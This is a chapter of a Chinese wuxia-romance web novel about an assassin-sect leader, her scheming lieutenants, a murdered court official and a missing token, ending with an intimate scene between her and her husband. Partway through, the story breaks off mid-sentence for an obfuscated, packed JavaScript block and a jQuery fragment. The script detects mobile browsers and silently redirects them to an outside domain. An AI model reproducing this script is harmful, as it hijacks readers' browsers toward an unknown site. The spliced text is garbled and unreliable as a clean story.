“没错。”
就算他们不动手杀他,她也会出手的。叶逐溪点了点头:“你们可以查查他曾接触过什么人。”
“好好好。”裴子承搬椅子过来给她坐,“你先坐下。”
她坐下了。
宋疯子毫无形象张着腿坐在满是灰尘的地上,长腿下的布鞋破了几个洞。他呸掉破布,插话道:“我还听说墨令根本没被毁,重现于世了,楼主就不想找它?”
墨令重现于世对墨楼楼主来说可不是一件好事,除非得到的人是她,否则她即将面临的是被持墨令者控制或者被杀的下场。
此话一出,众人眼神微妙,各怀鬼胎地盯着叶逐溪。
她站起来,一步步走到宋疯子旁边,半蹲下来捧着脸,目光人畜无害,不答反问:“你呢。”
“嗯?”他愣住。
叶逐溪笑意不减:“我是问你,想不想找到墨令?”
宋疯子瞥过胳膊,心知自己还不是她的对手,她又是笑里藏刀的性子,他不再逞口舌之快:“我自是以楼主为马首是瞻,您若想找到它,我等必定竭尽全力相助。”
叶逐溪扑哧一声笑了,扶宋疯子起来:“宋掌牌,原来你对我这般忠心,我以前倒是不知。”
宋疯子干巴巴地笑着。
他觉得叶逐溪真不亏是她师父养大的,说话做事跟她师父如出一辙,皆是口蜜腹剑之人。
还有就是她们皆心狠手辣,她师父是上一任墨楼楼主,杀人无数。而叶逐溪在十几岁的时候为夺得楼主之位,亲手杀死养育自己多年的师父,一下子成为墨楼有史以来最年轻的楼主。
她们一个比一个狠。
宋疯子心中如此想着,面上却不敢表露半分,装出一副忠心耿耿的样子:“这是自然。”
叶逐溪松开扶他的手:“可你刚才说‘别告诉我,你们身为掌牌人,不想找机会杀了楼主,取而代之?’。”
她有想过,前世会不会是他们其中一个掌牌人杀的她。
毕竟他们都有动机。
“哈……您记性真好,记得一字不差。”宋疯子狡辩,“我说的是他们,不包括我,我对您向来是忠心耿耿,忠心到愿意当您的一条狗,还望楼主明察。”
莫问尘听不下去了,有点被恶心到:“我呸,宋疯子你还要不要脸,这种话都能说出口。”
宋疯子:“关你屁事。”
裴子承没理他们,看着叶逐溪欲言又止。从她进来的那一刻,他就发现她身上沾着血,想问又怕她会觉得他过于干涉她。
想了半晌,他还是决定问出口:“你身上的血怎么回事?”
叶逐溪早已习惯血腥味,差点忘记身上还沾着血:“我在来的路上撞见大理寺陈少卿从酒楼坠落,他当场死了,血溅到我身上。”
裴子承面露担心,着急问:“你有没有受伤?”
她在他面前转了个圈,血色裙摆如花绽开,又缓缓收拢起来:“你看我像受伤的样子么?”
裴子承放心了。
宋疯子找准时机又插话:“楼主方才能徒手卸掉我胳膊,瞧着比我还康健,半点不像受伤的样子,你就放心好了。”
他拍马屁道:“再说了,楼主武功高强,怎会轻易受伤。想当年,我们都是她的手下败将。”
裴子承感觉他贱嗖嗖的。
叶逐溪没接宋疯子的话,漫不经心地继续说自己看到的:“他身边有张画着墨令的纸。”
“墨令!”宋疯子惊讶到合不拢嘴,“此人的死和墨令有关?还是朝廷命官?朝廷想找墨令?”
裴子承蹙眉头:“先是有人在京城里散播与墨楼有关的消息,接着又有身携墨令纸的朝廷命官死了,这一切就跟计划好似的。”
莫问尘表情逐渐凝重:“幕后之人究竟意欲何为?”
“裴子承,这件事便交给你去查了。”叶逐溪不以为意,“时辰不早了,我得回去了。”
裴子承拍胸口保证道:“好!我定会查个水落石出。”
宋疯子贱兮兮调侃:“果然,人成婚后就是会不一样。看,连楼主都变得归心似箭了……”
“你不说话没人把你当哑巴。”裴子承打断道,“她这是逢场作戏罢了,瞧你还当真了。”
宋疯子“啧”了声。
叶逐溪不在乎他们是怎么想的,她会同意和张行止成婚,其实不仅仅是因为什么父母之命媒妁之言,她还另有目的……叶逐溪敛下思索,边朝外走边挥手道别。
“走了。”
裴子承定定地望着她离去的方向,不知道在想些什么。
其他掌牌人如风散去,唯独莫问尘扭着腰走过来,拍了拍他肩膀,问:“人都走远了,你还看什么呢。”
他随意地斜了她一眼。
莫问尘发自内心好奇:“裴子承,楼主当年差点杀了你,你为什么不恨她,反而还关心她?是演戏博取信任,还是真情流露?”
当年,他们还没成为掌牌人,都在一座孤岛里面训练,能活着出来的名额只有六个,而且他们需要在一炷香时间内杀光其他人。
大家为活下去,拼命练武,最后杀红了眼。一炷香时间快到了,还剩下七个人活着,必须得再杀掉一个,否则他们都得死。
那时候,叶逐溪差点动手杀了裴子承——他离她最近。
就在她将要用匕首刺入他喉咙的那一刻,远在东边的宋疯子杀了另一个人。紧接着钟鼓响起,告知残杀结束,叶逐溪这才扔掉匕首。
裴子承耸肩:“那不过是迫不得已之举,我告诉你,你少给我在这里挑拨离间,不然我揍你。”
莫问尘:“……”
她似笑非笑说:“你知道的,楼主她是不可能喜欢上任何一个人,也不可能会对任何一个人有真情。更何况,她已经成婚了。”
裴子承瞪大双眼,大声道:“你说什么呢,我只拿她当朋友。真是心里脏的人看什么都脏。”
莫问尘:“……”
“你为什么想跟她这种表里不一的人做朋友?”她不明白。
“因为她强。”
莫问尘也不知信还是不信这番说辞,似好心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15992827|178020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
提醒道:“朋友之间也是需要真情啊,可她以前没有,现在更不会有了。我们对她来说,跟普通人并无区别。”
“哼,我不管,我这辈子就认准她这个朋友了。”裴子承掉头就走,带着少年人特有的怒火,不想再费口舌跟这厮多说半个字。
*
叶逐溪回到张府,张行止尚未回来,她沐浴完就躺下睡午觉了。早上起得比较早,要补眠。
一觉睡到傍晚,此刻残阳方向改变了,越过半开的窗斜洒进来,荡开一圈圈漂亮的光晕。叶逐溪的脸被映红,其他露出来的皮肤也被这阳光晒得热乎乎的。
就在叶逐溪要热得醒过来时,残阳被挡住了,与之而来的还有一缕淡淡的凉风,驱散热意。
她继续睡下去。
掌灯时分,叶逐溪终于醒来,睁眼就看到了一只握住团扇的手。手指骨节分明,手背因摇扇而浮现青筋,肤色白得匀称。
叶逐溪目光沿着手主人的衣袖爬动,渐渐与他对上视线。
“你是几时回来的?”
“日落前。”张行止还是有一下没一下地摇着团扇,风几乎不断,送至她身前,很凉快。
叶逐溪抬起手,覆上他的手背,顺着修长手指滑动,落入掌心,取走团扇,放到床侧小桌。
她弯着眼,将自己的手塞进他掌心里,又开始享受用因接触他而产生的舒服。末了,无意识抚过他残缺的那根尾指,轻轻抠过疤痕。
“要不要用晚膳?”张行止想收回手,却被她抓得更紧。
他不动了。
叶逐溪如蝶般轻盈扑进张行止怀里,手擦过他侧腰,就这样坐在他身上。随着他们接触部位越来越多,她获得的舒服也越来越多。仿佛吃了糖,甜意传遍全身,神经也跟着愉悦起来了。
她抬了抬腰臀,调整坐姿,仰着脸看他,距离不足拳头大小,呼吸交错,气息隔空纠缠:“还不饿。”这才回答他的问题。
张行止直视着叶逐溪。
一个月前,他们夫妻二人的相处方式是相敬如宾,不知为何慢慢变了。她变得很喜欢亲近他,不管周围是否有人,心血来潮便拉住他的手或抱住他、亲他。
张行止托着叶逐溪的腿,防止她往下坠,他掌心因此隔着层薄薄亵裤贴着她皮肉:“你今日见血回府,应该还没买到送给柔妃娘娘的礼物,明日我跟你去买。”
她点头:“好。”
叶逐溪直起身子:“死的那个人真是大理寺陈少卿?”
“是他。”
她随口问道:“他是被人推下来的,还是自己跳下来的?”
张行止闻着隐隐约约从她身上传来的桂花香,眼睫动了动:“初步判断是被人推下来。”
叶逐溪点到即止,不再问下去。毕竟身为不知情的普通人,好奇心该停在这里:“我还想再睡一会,你陪我。”说着便往榻上躺,拉着他,让他睡在身侧。
张行止如她所愿躺下,不曾想叶逐溪靠着金丝软枕闭眼,手插进了他五指,睡觉也要牵着。
下一刻,她滚进了他怀里。